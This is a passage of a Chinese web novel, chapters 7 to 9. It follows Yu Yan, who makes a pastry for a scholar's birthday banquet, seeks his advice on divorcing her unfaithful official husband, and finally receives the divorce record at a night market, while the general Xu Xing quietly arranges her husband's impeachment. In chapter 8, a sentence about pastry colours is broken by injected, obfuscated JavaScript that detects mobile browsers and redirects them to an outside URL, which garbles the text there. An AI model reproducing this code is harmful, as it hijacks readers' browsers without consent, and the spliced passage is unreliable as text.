夫人娘子们即便不置身朝堂，或多或少都听夫婿父兄提起过。 西北调来了一个没朝堂根底的武将，坐上这人人眼热，举足轻重的位置。 细细一看，只见男人宽肩窄腰，戎服贴合身段，背脊挺拔如一杆蓄势待发的钢枪。 右边脸疤痕惹眼，长眸压着一道攫人的凶光。 年轻女郎们竭力克制的低呼与抽气，此起彼伏在徐行耳边。他侧了侧头，随意一瞥，便吓得透过帷帽缝隙偷偷看他的两个女郎齐齐退了一小步。 徐行微哂，在蔡府仆从引领下，去到宴厅上首。 最靠近主位的右侧，设了一座螺钿檀木屏风，快到徐行肩膀高。 秦夫人与蔡祭酒正在拌嘴，谁也顾不上他。 “夫人当知道东床快婿。郗鉴派遣门生至王家选婿，王家子弟都端着姿态，矜持修饰，唯有一人坦腹卧于东床，旁若无人地进食，最终做了郗家婿。夫人既然有意借着寿宴，为阿行留意好姑娘，更应该叫他坦坦荡荡以真面目示人。” 秦夫人翻了个白眼。 “今日只是我为他留意着，看好了再私底下问，又不是叫他自己亲眼选。再说了，那么多娇滴滴的女眷，胆儿小，他这副凶相吓到哪一家千金，我还得安抚人家姑娘。” “阿行连面见陛下都不戴面具，哪家千金要真的惧怕，那万万不足以为良配。” “可女郎都爱俊啊，要不是你年轻时艳冠国子监，我才懒得去费尽心思读你的酸腐文章。” 老祭酒面色一窘，早知妻子就是这般口直心快，还是无可奈何。 他仿佛才发现徐行到场，手指一点，“阿行来了？你自来决断，你二姑母摆的屏风到底该不该撤下去，尔后再另外为女眷那边起纱屏。” 徐行一贯冷肃的眉眼柔和下来，同名义上的姑父姑母见了礼。 “我看看。”他三两步绕到了屏风后，望见一清清静静的酒席。这个摆向，既能同二老交谈，又避开了所有宾客的视线。 “不用撤，就这样。” 秦夫人得意：“听到没有？阿行说不撤。” 蔡祭酒捋着胡须，“阿行改作风了？” “我在京中无甚熟识，懒得寒暄。” 徐行屈指一敲空杯，向侍女示意斟酒，尔后仰头抿尽，惹得秦夫人嗔怪。 “你好歹吃个果子，垫垫肚子，空腹下去伤胃肠。” “阿行不喜甜的。” 蔡祭酒拍拍秦夫人的手，起身走出去，“我去催一下管事，客人到得差不多就开席了吧。” 宴席在三刻钟后开场。 徐行大多数时候沉默地听夫妻俩与宾客畅聊，只想等宴散了就走。 小酒席上金漆碟端来又撤走。 冷盘热盘，素的荤的，徐行照单全收。 吃到最后要上花样纷繁的点心，徐行摆手，没让侍女摆碟。 偏偏席间夫人们的话题绕着点心打转。 “秦夫人莫非请了南边的厨娘？这道点心做得好生精致，还不曾见过呢。” “不是我找的厨子，老蔡拍胸口安排的，得问他。” “老夫请了六部街头一位点心娘子来帮厨，是不是南方人不知道，但手艺很好，不输我吃过的城中几家糕点铺子，各位都尝尝。” 秦夫人饶有兴致地拾起一块，送进了嘴里，旋即皱了眉头。 “这是不是……有些酸涩？” 席间的夫人们尝过了，想赞同，不好拂了主人家的面子，只好顾左右而言他，去夸赞点心的造型精巧。秦夫人不爱粉饰太平，蹙眉把点心咽下去，拍了一下蔡祭酒的手臂。 她声音不算高，只有蔡祭酒和徐行这边听见了。 “老蔡，你是不是被骗啦？怎么是个花花架子中看不中吃的？” 徐行屈指敲台面，示意侍女把点心摆下来，注视那道宛如翡翠白玉球的漂亮糕点。 7. 第 7 章 宴会开场前。 “说好了一刻要到，都二刻了，耽误主子宴席你们担待得起吗？” 蔡府厨房的瞿大娘抱着一双手，拿眼梢儿去睨王夫人和虞嫣，见虞嫣提着一篮子黄檀子果，皱皱眉，“食材府里都提前备好了，来的都是贵客，不能用外头来源不明不白的。” “这是菜市口果摊上正儿八经买来的……” 王夫人觉得冤枉，她昨日骗了虞嫣急匆匆随她出来，虞嫣身上一个铜板都没带。 今日趁着虞父和老钟叔去了铺子，她放了虞嫣出来，她却说要去菜市口买一筐黄檀子果带到蔡府做点心用。果摊主人看她们一脸着急，平日里卖不上价的黄檀子一个劲儿抬价来卖。 王夫人不情不愿掏了自己的钱袋子，两人为此才迟了一会儿。 “原先约定好的，做山海兜子、糖酥裹食外加一样点心，黄檀子果便是做新点心要用的。” “我不管你什么黄檀子绿檀子，菜单上只写了前两样，食材都给你备好了，除此以外，府门外头带进来的东西，统统都不能送去贵人面前。” 瞿大娘一口拒绝，见王夫人没辙儿看向虞嫣，似是要她拿个主意。 “你们到底哪个是做点心的，哪个是帮厨？” “我是，二娘是我带来打下手的。” 瞿大娘更讶异了。 虞嫣年纪轻，瞧着面皮薄嫩，手指细柔，哪里像长年累月待在厨房里的？不知走了什么路子把她推荐的俞心堂张厨娘比下去，眼见着到手的抽成银子就溜了。 “果篮子拿走！点心厨灶在那儿，菜单上有的，你须得做得漂漂亮亮的别拖累我，菜单上没有的劳什子新点心，你自己看着办。” 瞿大娘想到什么，嗤笑一声，一指角落的箩筐，“不是要酸甜果子吗？那里尽是。” 虞嫣看向角落，一箩筐做雕花冰果留下来的边角料。 她要来菜单细看，提裙蹲下去，翻找出一小箩浅绿色的牛甘子，最漂亮的几颗挑走了来做圆珠，其余的无人问津。她把小箩筐捧起来，将牛甘子都泡在清水里。 瞿大娘瞧不上：“狗都不吃的野果子，还当宝贝了。” 虞嫣没理会：“二娘，开始吧。” 来的路上，她已将打下手要用的步骤都告诉二娘了。 蔡府厨房里，料理点心的案台和火炉是单独的，上头备好了做酥点面点常用的各种粉、油、糖和印模工具，她提前要求的食材搁在四层竖架上，都是齐全的。 王夫人绑起袖子，一边给她备菜，一边委屈地嘀咕：“宰相门前七品官，蔡府是几品……连家里头厨娘都不正眼看人……”说到一半，怕瞿大娘听见，觑一眼，见她正指挥其余人忙活，是要烹饪大菜的紧张时刻，一时半会儿分不出身顾这边。 “大姑娘，没有黄檀子，新点心还能做吗？要不成就做那两样吧，省得出岔子。” “说好了做三样的，我心里有数。” 虞嫣轻声安抚她，看王夫人将热水泡发好的香菇切丁，切得有些粗细不均，“二娘，小郎用的紫毫笔、端州砚，都靠你了。” “哎呀，你别说了，说得我一身细汗。” 厨房里本就热，王夫人被烘得鼻尖冒汗，用围裙擦了擦，才重新握刀。 虞嫣见她切得好多了，才去处理那箩筐牛甘子。 牛甘子不是受人喜爱的水果，口味酸涩，有的甚至泛苦，全因能够缓解风热咽痛，有穷苦人拿来盐蒸食用，代替草药。 她攥起一把圆润如珠的牛甘子，拿细盐搓过表皮，再冲洗一遍。 手里有事情做，心里的杂音就沉落。 渐渐地，虞嫣连瞿大娘风风火火指挥烧火丫头的声音都听不见了。 直到蔡祭酒亲自来了厨房，伸手敲了敲她的点心案。 “想来这位就是虞娘子了吧？新点心要做的什么？” 虞嫣抬眸，望见须发斑驳，双眸神采内敛的国子监祭酒，福身一礼，“做的是玉露回甘。” “哦？老夫还不曾听说过？” “正是为秦夫人寿宴特地做的，独独一份，再无其他家。” “好啊。” 蔡祭酒笑起来，同虞嫣说了几句，又看了看热灶那边烧的几道大菜，背手在厨房转悠，好像在庭院散步。王夫人从未见过在庖厨如此自在的官老爷，不由得啧啧称奇。 等蔡祭酒回宴厅，传菜的侍女流水一样往来厨房。 一轮接着一轮后，挨着宴会尾巴，呈上去今年新茶、雕花冰果和虞嫣刚出炉的三道点心。 前两道点心厨娘都认得，还算入得了眼。 玉露回甘嘛…… 瞿大娘看看捏成小圆球的形状，上头绿白相间，纹理如丝，不得不说，在暑热天里看着就清凉舒心。光有漂亮模样又如何，老爷出了名的嘴刁，花花噱头骗不了他老人家的舌头。 她撇撇嘴，叫了个小丫鬟去宴厅门边留意。 好一会儿，小丫鬟呼哧着跑回来了，目光闪烁着，看虞嫣所在的点心案。 “怎样？” “夫人说，绿色那道点心有些酸涩，不顺口……老爷尝了尝也点头呢。” “我说什么吧，看看，看看！早点请俞心堂的张娘子来，什么事都没有。待会儿老爷夫人吃得不痛快，分给厨下赏钱自然少，咱这一场就是白忙活，无缘无故给人带累咯。” 瞿大娘抽出围裙兜里的巾子擦汗。 一番阴阳怪气叫厨下好几人都对虞嫣和王夫人侧目而视。 “大姑娘，唉，我早就说……” 王夫人忧愁，想跟着埋怨虞嫣，又不想在外人前头被看扁了。 虞嫣充耳不闻，低头收拾忙碌过后凌乱的点心案台，拿一把毛刷子一点点刷走石桌上残留的面粉，拿空碗接着，倒在了簸箕里，之后再将切刀、木模等按原样挂好。 厨房众人伸长了脖子，等着宴散，前头叫厨房去领赏，等了大半日都没人。 “总不能一颗老鼠屎就坏了整场宴席吧？” 有个婆子喃喃，便听得一阵零碎脚步声，两个斯文白净的小僮一人托着一边长条案，慢腾腾挪过来厨房前的空地，笑嘻嘻道：“瞿婶儿，瞿婶儿，过来领赏咯。” 瞿大娘拍拍手，志得意满地笑了一声，“走，领赏去！” 厨房众人跟着她出去，目光希冀地看着小僮。 小僮从腰间解下一个瞧着沉甸甸的布袋子，双手捧到瞿大娘面前，“刚从管事账房领过来的，瞿婶儿点点。管事说每人至少能得三两呢，是夫人吃得高兴，从私账补贴的。” 瞿大娘“嗯”了一声，回头睨了站在最角落的虞嫣和王夫人。 “老爷夫人还有说什么？” 小僮左右环顾，目光同样落到虞嫣身上，厨房其他人他都认识，只有两张生面孔，他继续笑嘻嘻道：“老爷夫人想单独打赏虞家娘子，叫娘子随小的前去宴厅说话。” 厨房众人一愣。 瞿大娘以为自己听岔了：“你没听错，当真是打赏？” “是啊，老爷还说，让虞娘子写下玉露回甘的方子，过几日暑热天，厨下再做一回送去夫人那里。夫人和宾客都挺喜欢吃的，说是新鲜，但别处又买不着。” 瞿大娘不可置信，看向之前来报信的烧火丫鬟。 小丫鬟缩了缩，“我真真是听见夫人嫌弃那点心酸口的。” 她不死心，一把揭开了长条案上的红布。 长条案上置了七八碟完好没动过的点心瓜果，还有之前端的大菜，都是按惯例把贵人们吃不完的，赏来给厨房。虞嫣做的点心碟子里，山海兜子和糖酥裹食都零星剩了好一些，碧青色的却是吃得一颗都不剩下。她霎时面颊一热，嘴动了动，半句话都说不出来。 王夫人只觉得憋在胸口里的那口气能吐出来了！ “谁还嫌弃我们大姑娘是老鼠屎哦？要没有她，赏钱没准都要少……” “二娘，我去宴厅一趟，你留在这里等我。” 虞嫣轻声打断她，要跟小僮走。 王夫人眼巴巴拉住了她的衣袖，“你，你不能独自领了赏就跑的。” 虞嫣瞧着她扎了就忘记落下来的衣袖，还有那只黯淡的玉镯，“你不放心，就到宴厅大门外远远地守着。”王夫人想了想，当真缀在她身后，跟去了宴厅外。 宴会已散了。 宾客走得干净，仆役忙碌地走动，搬搬抬抬，把餐碟、锦布、长条桌都一样样收起来。虞嫣独自穿越长厅，走到了蔡祭酒与秦夫人面前，侍女正给她轻轻摇扇。 两人面貌，同她在观音庙里遇见时，没什么差别，只因设宴而穿着更隆重体面些。 秦夫人姿态放松，一手托着腮观察她，丹凤眼沉静怡然，眼尾有两道细细纹路。 蔡祭酒则打趣：“虞娘子的点心，另辟蹊径，险些害老夫要被夫人怨怪咯。” 虞嫣福身一礼当是致歉，“我在厨房提醒过祭酒大人，玉露回甘的妙处，就在名字上，须得过些时刻才能品味出来。” 牛甘子就是这样的野果，初食酸涩不顺口，过后越品越甜，回味悠长。 蔡祭酒同秦夫人对视一眼，跟着笑了笑。 妻子当众问他莫不是被骗了没多久，他夹起那颗点心，才送进嘴里，又看到她古怪地顿住，抿唇片儿，继而丹凤眼里光采流转，“怎么回事？现在再咂摸咂摸，好像不是一个滋味了。” 蔡祭酒咬出点心内陷的第一口，就辨别出了牛甘子的味道。 “夫人不妨配以茶水，再试试？” 秦夫人饮了一口香茶，当即眉眼舒展起来，她这几日有些咽喉痛，特意叮嘱了，不给她案上传烈火油烹的菜。这点心吃了，香茶饮下，喉头润津津的，还有一丝丝甜。 她击掌一笑，“老蔡，蛮不错，这个有意思。” 贵妇人们闻言，纷纷效仿她。 便是没动过那点 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蔡祭酒闻言，“哦”了一声：“老夫在国子监教书，既不在户部管理民籍，又不在刑部制定律法，虞家娘子同老夫讨教此事……是否找错了人？” 虞嫣摇头，看向他与秦夫人并肩而坐的模样。 “我想与夫婿和离，却困于这一条例，和离书迟迟未能递交户部。” “夫婿极重名声与官声，我才想出了在官署街区摆卖的法子，已然坚持了这些日子，还是未能如意。我想请问蔡祭酒与秦夫人指点，我是不是想错了法子，可还有别的路能走？” 秦夫人不知前情，只道她是普普通通一个卖吃食的女郎，听到此处，不由得直起背来，靠近几分，“朝中还有这样的律法吗？这样有官夫人想和离，岂非都要白白蹉跎三年？” 她想来替虞嫣不值当，一拍椅子扶手，还要再说，却被夫婿给摁了下去。 “虞家娘子是想老夫动用朝堂关系，越过明文规矩，替你把和离书呈递到户部？是也不是？” 蔡祭酒的语气莫测，听不出喜怒。 得，迂腐的臭毛病又犯了，秦夫人刚想劝，虞嫣已回答了问话。 “若我说从来没这么侥幸地想过，是在骗人。” “但我自知，一道点心换不来这么大的人情，因为只是求几句点拨。常言道登高才能望远，蔡祭酒与秦夫人身份比我高，年岁比我长，比我洞明世情百态，熟悉朝堂律法。” “我有双亲，愿意我和离的已不能给我帮助了，能给我的帮助的却不愿意我和离。” 虞嫣目光澄净，不躲不闪地直视蔡祭酒。 她其实还眼熟了一位户部管理户籍的胥吏，他告诉她，若丈夫迟迟不递送和离书，二人分居满三年过后，可到京兆府做明证，如此也能够绕过户部的规定，视为和离。 可是三年太久了。 “娘子为何要与夫婿和离？” “回秦夫人的话，他答应过后四十无后方可纳妾，如今三十不到就违背了诺言。” “你这个夫婿，叫什么名字？” 秦夫人表情阴恻恻的。 蔡祭酒看一眼，暗道不好，妻子平生最恨三妻四妾的负心汉，放在二三十年前，这个表情出现在定北侯府大小姐的脸上，就是她想拖谁去后巷，打一顿黑棍的时候。 幸而，虞嫣没回答这个问题。 蔡祭酒语气变得温和了一些，“虞娘子，你那夫婿官位的不高吧？” “从六品。” “这就对了，老御史们的眼睛，只盯响当当的人物，你待月底了再看，就是有人家门修得比规制宽了半指头，他们都有火眼金睛看见，何况是家风不正这么大的靶子。” 蔡祭酒摆摆手，“你且再等等，看是他先挂不住面子，还是御史的折子先递到朝堂上。” 虞嫣听完老祭酒的话，心头安定许多，朝他与秦夫人行了大礼，“秦夫人不必询问他名姓，待他变成了前夫，我一定会设法告知秦夫人。” 虞嫣跟着管事去领赏了。 “这位娘子的脾气，对我胃口。” 秦夫人坐在弥勒榻上，挥退了侍女，自个儿拿了羽扇一边扇，一边想虞嫣的事。蔡祭酒因为刚才不肯徇私，自觉离远了，不想惹她生气。 她不经意看向螺钿屏风后，扬起了眉头。 “阿行，你怎么还没走？” “酒喝多了，散散。” “你酒量退步了啊？才那么一点。” 徐行不置可否。 秦夫人歪头，看了他半晌，忽而笑笑，“阿行，你也是男人，说说你怎么想？” “想什么？” “虞娘子的夫婿。” “我不想。” 徐行从碟子上挑出那颗玉露回甘，塞入嘴里，甜中混着的酸涩滋味爆开，不必饮水，只坐了片刻便觉得舌尖生津，润泽甘甜，“说得出做不到的孬种，想来作甚。” 8. 第 8 章 “此处不是说话的地方，我出去了同二娘分算。” 虞嫣朝王夫人扬了扬手，指缝漏出白花花的银光。 两人回到厨房，众人已分完了长条案上剩余的菜品。 先前被扣下的黄檀子果篮就放在角落。小丫鬟递来纸笔，请虞嫣写下玉露回甘的做法，等她写完后，塞来两个红纸包，“瞿大娘分的帮厨工钱，娘子有两份。” 虞嫣弯弯眼，道了谢，两个红纸包攥在手里。 蔡府仆从带着二人穿越府邸，来到西侧门。王夫人亦步亦趋，一心等虞嫣何时分算工钱，没注意虞嫣带她拐了个方向，绕回到毓贤街的正门前。 午后酷暑，晒得梧桐树叶子蔫巴，树影落在地面，界限分明。 虞嫣左右张望，仿佛忘了前言。 “大姑娘，你还反悔不成？” “答应过二娘的，”她瞧见了什么，露出笑，手中银光簇新的银锭子，连着红纸包、黄檀子果篮都塞给了王夫人，“小郎那个书院，听来不是读书治学的好地方，再多银钱填补都不是长久之计。二娘记得同爹好好说说，有旁的书院能把学籍迁过去，就迁过去吧。” 王夫人手里拿得满满当当，踏实了，品味出她的言外之意。 她一抬头，虞嫣已离她好几步远，“哎大姑娘！” “二娘昨日骗了我一回……”虞嫣背着手，歪头看看她，“今日就算是扯平了。” “什、什么？” “如意！” 脆生生的一嗓子喊来，一道黄灿灿的毛影子腾起。 如意不知从哪个角落冒出来，径直扑到了她身上。王夫人吓得魂飞魄散，果篮落地，果子骨碌碌滚得四散，“大、大姑娘，快把狗牵走啊……要死……” “二娘见了陆延仲，看在银子份上，帮我带一句话吧。” …… 催命索命似的狗叫停了，如意跑了，王夫人的魂魄归位。 再看街上骄阳炙热，到处是白灿灿的，虞嫣早跑到她看不见的地方。 申时过半。 陆延仲打马到虞家时，王夫人还没摘干净身上被如意蹭的狗毛。虞父脸黑如墨斗，王夫人红着眼眶，夫妻二人气氛尴尬，一副刚吵完架的僵硬。 陆延仲觉出不妙，蹙了蹙眉。 “岳丈，阿嫣呢？” 他嘱咐街道驱赶虞嫣的第二日，还是看见了虞嫣的身影。 陆延仲不知虞嫣如何摆平了街道司，特地挤出了晌午休息，赶到虞家让虞家双亲帮他把阿嫣拦下。这番一问，才知道虞嫣竟然就没有回过虞家。 “岳丈昨日保证，知道阿嫣在何处，还会想办法让她归家。” 陆延仲嗓子发紧，一路赶来极渴，茶都没顾上喝。 虞父看了一眼王夫人，“我是没脸告诉延仲，要说你自己说，眼皮子短浅的蠢妇！” “我……我还不是为了小郎，老爷硬得下心来，我心软，还不允许我为他筹谋了？” 王夫人委屈，对上陆延仲的目光，声如蚊蚋地把虞嫣如何说服她去蔡府做帮厨，如何叫狗拦她的来龙去脉都讲了讲，“我哪里知道有狗，从蓬莱巷出来的时候，狗明明被她拴在屋里。” 一旁的老钟叔低着头，“说来……都是我的错，姑爷要怪，就怪我。” 陆延仲再听不下去，捏起茶盅，灌了一大口热得发涩的茶。 王夫人期期艾艾，“阿嫣她，她溜走时，叫我转达一句话。” 他动作一顿。 王夫人嘴唇嗫喏两下，“她说姑爷读书多，应该知道‘当断不断’的下一句……” 虞父嗓音猛然提高：“你还没犯蠢够！” “我这不是告诉姑爷，阿嫣她看起来还未气消……” “咚”一下，茶盅搁在桌面。 陆延仲一言不发，起身离去，迈过门槛时，那股头晕目眩的感觉才消散。 城防工事正是紧要时，上峰等他给施工规划。 他为了早些腾出心思哄阿嫣，昨日熬了大夜，到五更天还未熄灯，才写完规划草案。到今晨交去修改到上峰说“尚可”，即刻马不蹄停赶来。 可阿嫣呢？ 她竟像变了个人似的，三翻四次置他的官声于不顾，还两边有家都不归。 官署街头摆卖不够，还去蔡府当帮厨。日后他官位再上一层楼，与蔡祭酒在朝会上遇见了，要他如何自处？这些她想过没有？ 虞父一路追出来，“贤婿，贤婿留步。” “家里知晓她任性了，我会想办法拦住她，不让她再去官署给你丢脸。” “这么多年夫妻情分，断了可惜呀。” 陆延仲上马，面无表情看虞父，“岳丈看见了，想断的人不是我。” 他不待他挽留，一夹马腹，往家里去。 一踏入陆府门，仆从的目光若有似无地落在他身上，以及他空荡荡的身后。 陆延仲视若无睹，迈步往屋中走。 母亲在廊下阴凉处，坐着竹椅打盹，见他归来，皱了皱眉，有些笨重地起身，“嬷嬷陪我去换一身衣裳，见客的衣裳，我亲自去一趟，把阿嫣接回来。” 陆延仲示意嬷嬷退下，按捺下脾气，“阿嫣不在，母亲不必奔波了。” “那明日？明日我去，”母亲拍了拍他的手臂，“旁的倒是不怕，我是怕她这样闹，影响你前程。从前看不出来，阿嫣是个性子这样倔的。” “娘，我若真同阿嫣断了……” 搭在他手臂上的力道突然加重，陆延仲抬眸，看见母亲难得严肃。 “你同她就是断了，外头那个也别想做你的正头夫人。” “我以为，母亲不喜欢她。” “她家商贾，还指着你带便宜小舅子读书，自己肚皮又不争气，我当然不喜欢，”母亲坐了回去，拿一柄蒲葵扇在摇，“但她嫁给你这些年，你自问问，她出过什么错处？外头的狐狸精还没进门就怀上了，能是个什么安分的。” 蒲葵扇的风，一丝丝飘来，扑散他从虞家出来的那股烦躁邪火。 陆延仲不知为何，想到每逢暑热，虞嫣抠抠搜搜出买冰的钱，给他做各种冰镇饮子。 母亲说得没错。 阿嫣待他，待他的家人一直尽心。 晴娘知道嫂嫂走了，气得掉眼泪，至今不肯同他说话。 明日，就再去一趟吧。 他怀着这样的心思，早早上衙点卯，才在历子上签字盖印，杂役就说上峰有事传他。 “许大人这么早来了？” “今日有朝会。” 那或是昨日交的施工规划不够完善的。 陆延仲加快了脚步，在门扉前略略停顿，正了正官帽才进去。 “大人找下官有何……” 他脸上身上一痛。 两本折子，一本砸在他襟口，一本正中他下颔，先后哗啦啦落到地上。 “大人？” “看看，黄御史参你的折子，文采写得那个漂亮，我专门叫人誊抄的备本。” 陆延仲一颗心，猛地坠下去。 “我不提方鸿熙，提你上来坐这位置，是看你能办事，不是看你能惹这么多的风流韵事。你是个聪明人，怎么就能在男女之事上犯糊涂呢？” “是内人不识大体，我保证……” “还内人？一个无子善妒的商妇，休就休了，不然旁人当你负了糟糠妻，薄幸名好听吗？” 上峰不悦地皱眉，一副觉得他拎不清的模样。 御史向来无风起浪，口诛笔伐，夸大其词。 陆延仲蹲下去，翻开折子，一一细看那些触目惊心的字眼，蓦地，耳边响起了王夫人那把细柔的嗓子：“阿嫣她，她溜走时，叫我转达一句话。” “她说姑爷读书多，应该知道‘当断不断’的下一句是什么。” ——反受其乱。 * 虞嫣待在碧涛客栈的后厨。 厨房是借用的，每日缴清房费之余，再添五十文的灶台柴火费。 她弯腰，用铁钳夹出石灶内壁的圆盘，检查刚出炉的巧果。 蜂巢、莲花、方胜、梭子、元宝五个造型，分别取南瓜、苋菜、黑芝麻、青蒿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618992|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、山药五色。甜蜜的糖油焦香扑鼻，她用指头轻轻一搓，巧果酥如碎玉，簌簌地掉落。 等入夜了，就能拿去近来新开的舟桥夜市卖。 阿爹知晓她常去官署街区，定然会叫老钟叔留意蓬莱巷和六部门前。不如暂时避在碧涛客栈，等他们扑空一阵，有所松懈了，到老祭酒所说的月底御史奏事高峰才回去。 虞嫣从灶台翻出个竹篮。 前头跑堂的伙计闻着味儿就来了，“好香啊，虞娘子今儿做什么？” “五色巧果。” 她小心把巧果夹到篮子里，一层层用棉纱布隔着，保持干燥温热，整理完了，揭开最上面的纱布，笑着示意伙计拿来尝尝。 “那我就不客气了。” 伙计美滋滋伸手，一咬满口酥脆甜香，还有些烫舌头，不由得嘴里抽几口气，见她挎了篮子要往外走，舌头捋不直地“唔唔”两声，手还不断地指后厨外头的大堂。 虞嫣顿步，“是……人还在外头？” 伙计点头，把嘴里的咽下去，“我就是来提醒娘子的，你过半刻钟再出去。” 客栈近来住了两个挎朴刀的豪横汉子。 一人瘦高个儿，马脸窄腮，话不算多，一人矮短身，虬髯满脸，眼周一圈乌黑，像是常年纵欲过度，败了元气的浊像。听掌柜的说，是常年跑江湖的赏金客。 官府海捕在逃犯人、富商寻人寻物、新开商路勘探…… 但凡有赏钱的任务都接。 这些人未必是什么正义之士，仗着手上有三两功夫，行事霸道，能少惹则少惹。 虞嫣等了半刻钟，从挡帘缝隙，看清楚大堂再无二人身影，才上楼去。 她轻手轻脚，推门而入，厢房西侧的薄墙，挡不住隔壁房骂的脏话。 “操！一个出来卖的都敢给爷爷甩脸子，看我拿到赏钱了，不回去弄她个哭爹喊娘的！” “瘦条条有个屁的滋味，还不如那穿桃红纱裙的带劲。” “我就喜欢皮肤白嫩的。” …… 两人吐字带了喝醉的含混，讲起荤话来没个顾忌，时不时把桌子拍得怦怦响。 虞嫣默不作声听着。 客栈打开门做生意，不会顾及她一个独身女郎，两个赏金客就住在她隔壁空房。 她每每出入都要竖起耳朵，留神二人动静，尽量减少打照面。头一遭与他们撞见时，那种被凝视周身的感觉，就像雨天贴在皮肤上的湿衣，挥之不去的难受。 碧涛客栈外，赤霞随着落日浮起。 街上依旧人来人往，打扮得靓丽光鲜的青年男女尤其多。 徐行斜倚客栈门边的阑干，怀里揣了个街边买的樟木面具，玄马被他放在一边，没栓，也没乱跑。对街的茶馆，魏长青同个蓄八字胡须的男人刚走出来，脸上挂了热络的笑。 他送走了八字胡，小跑着来到徐行面前。 “老大，条件都谈好了。” “他要什么？” “你猜猜。” 徐行瞭起眼皮，作势要踹他膝盖，魏长青“嘶”一声蹦开，“我说还不行吗？” 他们一伙西北来的，除了侯爷给的脸面，在朝堂没啥根基。 想求人办事，要么花银子，要么卖本事。 黄御史这老泥鳅，一听是弹劾个六品小官这么不痛不痒的事情，当场就答应了，条件却藏着掖着不肯讲，非得事儿办了再提。 “这黄老头，这些年弹劾好多权贵，仇家多着呢，怕有朝一日外放时遭报复，想要条退路。东、南、西的他都谋划好了，就差一个北字。我都拍胸口答应了，他还问我……姓陆的怎么就得罪你了？那位虞家娘子，同你是什么关系？我叫他嘴巴闭紧了，别多管。” 魏长青眨眨眼，两眼放光。 他叫黄老头别多管闲事，是因为他也不知道，他也很好奇啊。 “一个旧邻居，还没什么关系。” 徐行抬头，望见虞嫣的窈窕身影和一只黄毛犬自碧涛客栈走出来。 他打了个指响，玄马哒哒哒靠近，同他一起跟上了虞嫣。 9. 第 9 章 舟桥夜市在彩霞漫天时，就点了灯。 长桥行人如织，摩肩接踵，男男女女相约着盛装出游。 虞嫣的巧果连着卖了两三日，在花灯节这日，打响了名堂，才来到交了例子钱的固定摊位，就有好些戴面具的青年男女在等。 “娘子总算是来了，我俩昨日排队排到尾巴上，碎渣子都没买到。” “还不是怪你！猜个灯谜费劲老半天。” “行行，怪我，这回快些赶去，别误了看烟火的好时辰。” 男子安抚了娇声抱怨的女伴，掏出钱袋子买了两份，同她手牵着手离去。 时人比往朝开放，有婚约的男女能够并肩而行，明目张胆地牵手。 不想被认出，脸上戴个樟木雕刻的面具，男子多是青面獠牙的雷王，女子是头戴花冠的花婆王。即便举止亲昵一些，也无人指摘。 有情人成双成对，游鱼般转过虞嫣的巧果摊位。 那句“别误了好时辰”，始终若有似无在她耳边回响。 她也曾这样，与谁在布满了花灯的街头同游。 那夜本是秋日新婚。 她惴惴不安地等在婚房，看那人用喜秤挑了盖头，与她合卺交杯，紧张得双唇发颤，话都说不利索。自少时定亲后，她与陆延仲只见过两面，每一次他都冷淡守礼，不曾多看她一眼。 可婚房里的郎君着暗红喜袍，眉眼俊秀，神情是难得的温和。 “还未出阁前，这个时辰，都习惯在屋中做些什么？” “这个时辰……不在屋中。” “那在哪？” “还未出阁的话，同家人吃过饭后，约莫和手帕交在街上看花灯。” “是我忘了。” 陆延仲失笑，“夫人的手帕交是哪位，来喝我们的喜酒了吗？” 虞嫣摇头，“她比我早出嫁，已不在帝城了。” 两人静默间，屋外的天幕烟花炸响，一声声，是京兆府每年为中秋燃放的。 “不知今年烟花好不好看？” 虞嫣透过一线窗缝去看乍明乍暗的墨空。 陆延仲忽而牵了她的手，“来，换衣裳。” “去哪里？” “看烟火，我娘睡得早，现下溜出去，她们不会发现。” 虞嫣吃惊，“会不会误了吉时？” “不会。”陆延仲将她推到屏风后，自己转了出去，“夫妻何时在一起，何时便是吉时。” 夫妻何时在一起，何时便是吉时。 浓情蜜意时，陆延仲总是能讲出很多让她心软的话。 今岁的烟火炸响第一声，如紫光幻电，夺目璀璨。 虞嫣探出摊位，看了好几眼，却在收回视线时，瞥见了街头一人。 此刻众人驻足仰望，被盛大烟火吸引了视线，唯独那人遥遥向她看来，一袭水墨天青色的圆领袍，挺拔清俊，鹤立鸡群。不是陆延仲又是谁？ 他走近到摊位前。 摊位的幡子下挂一只灯笼，照见他眉目萧索，拢着郁色，比原来更清减了许多。 “你不去官署，不回蓬莱巷，原来是改成来这夜市了。” 烟火霹雳声声绽，不及曾经最亲密的人，一字一句所带来的震荡。 “我已去了户部。” “你我的和离书存档入册，这是户部发还的文条。” “自此往后，我们再不是夫妻了。” 陆延仲从衣袖里掏出被折叠、被摩挲了不止一遍的文条，按在了她点心篮子旁边。 “把我逼到这个地步，阿嫣觉得痛快吗？” 自那日上峰把他传去敲打后，弹劾他的折子一封接一封，如催命符咒。 不知道的，还以为他陆延仲是什么响当当的大人物，连工部尚书都要来问，“你得罪了谁？提前跟我说一声，叫我有个准备，省得想拉你一把，都跟着被御史台的疯狗咬上一口。” 没有把和离书变休书，是他能给虞嫣的最大体面了。 陆延仲垂眸，看虞嫣展开了文条。她细白手指捏着两边，认认真真地看上头每一个字，“我答应过陆大人的，既已经和离，从今往后，我不会再去朝天门下摆卖了。” “已不重要了。” 陆延仲自嘲一笑，目光落在那些花糕上，“一样来一个，替我包起来吧。” 虞嫣做了他这一笔生意，看他拿着一包巧果，慢慢走向了对街。 对街有个提了一只鲤鱼灯的女郎在等，她身段妖娆，裙裳明艳，戴着花婆王面具，歪头打量陆延仲片刻后，亲昵地凑上去，挽住了他手臂。两人并肩走向烟火最绚烂处。 某一刻，女郎回头，拉下了面具，冲虞嫣露出了一双得胜者的笑眼。 是那时在工部值房的女郎，她听见陆延仲喊她玉娘。 虞嫣静静地回望，没觉得自己输了，也没觉得她赢了。 待烟火冷寂，人潮散去。 舟桥夜市以外往南的街道，静得能听见虫鸣。 